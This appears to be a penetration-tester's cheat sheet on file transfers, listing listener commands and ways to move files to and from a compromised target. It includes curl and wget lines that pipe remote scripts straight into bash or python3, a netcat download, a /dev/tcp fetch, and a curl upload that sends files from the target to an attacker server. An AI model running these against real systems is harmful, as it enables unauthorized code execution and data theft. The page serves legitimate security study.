File Transfers
Linux
Servers
# Python3
python3 -m http.server
# Python 2.7
python2.7 -m SimpleHTTPServer
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000# Python3
python3 -m uploadserver
# Netcat
nc -lvnp 1337# Create self-signed cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# Create and move to webroot (must be different dir from the cert)
mkdir https && cd https
# Start web server using the cert
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem
# Upload from the target
curl -X POST https://10.10.10.10/upload -F 'files=@file1' -F 'files=@file1' --insecure Utilities
wget http://10.10.10.10/nc.exe -O nc.exe
# Fileless execution (-q: quiet mode, -O: specifies the output, -O-: redirects output to stdout)
wget -qO- https://172.16.10.1/script.py | python3curl http://10.10.10.10/script.sh -o /tmp/script.sh
# Fileless execution
curl https://172.16.10.1/script.sh | bashscp user@172.16.10.10:/tmp/nc.exe ./nc.exe# Connect to the target webserver
exec 3<>/dev/tcp/10.10.10.32/80
# HTTP GET request
echo -e "GET /script.sh HTTP/1.1\n\n">&3
# Print the response
cat <&3Windows
Servers
Downloads
Uploads
Misc
b64
Linux
Windows
CRTP
Last updated